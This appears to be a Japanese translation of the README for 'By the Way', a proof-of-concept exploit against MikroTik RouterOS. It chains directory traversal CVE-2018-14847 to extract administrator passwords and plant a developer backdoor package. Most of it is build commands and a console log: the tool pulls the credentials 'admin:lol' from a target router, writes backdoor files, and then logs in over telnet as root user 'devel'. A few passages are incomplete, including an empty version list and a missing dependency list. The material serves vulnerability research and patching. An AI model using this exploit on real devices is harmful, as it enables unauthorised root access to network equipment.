
By the Way は、RouterOS のバージョン: を実行している Mikrotik デバイス上でルートシェルを有効にするエクスプロイトです。
By the Way は、以下の RouterOS バージョンを搭載した Mikrotik デバイス上でルートシェルを有効にするエクスプロイトです:
このエクスプロイトは、ディレクトリトラバーサル脆弱性 CVE-2018-14847 を利用して管理者パスワードを抽出し、開発者用バックドアを有効にする "オプション" パッケージを作成します。攻撃後、攻撃者は管理者のパスワードを使用してルートユーザー "devel" で Telnet または SSH に接続できます。
Mikrotik は CVE-2018-14847 を4月に修正しました。しかし、この PoC が書かれるまで、攻撃がファイル書き込みに利用できることは公開されていなかったと思います。Mikrotik のアドバイザリはこちらにあります:
なお、このエクスプロイトは Winbox 用に書かれていますが、管理者の認証情報を事前に知っていれば HTTP に移植可能です。
この PoC は以下に依存します:
mkdir build
cd build
cmake ..
make
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
╔╗ ┬ ┬ ┌┬┐┬ ┬┌─┐ ╦ ╦┌─┐┬ ┬
╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘
╚═╝ ┴ ┴ ┴ ┴└─┘ ╚╩╝┴ ┴ ┴
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.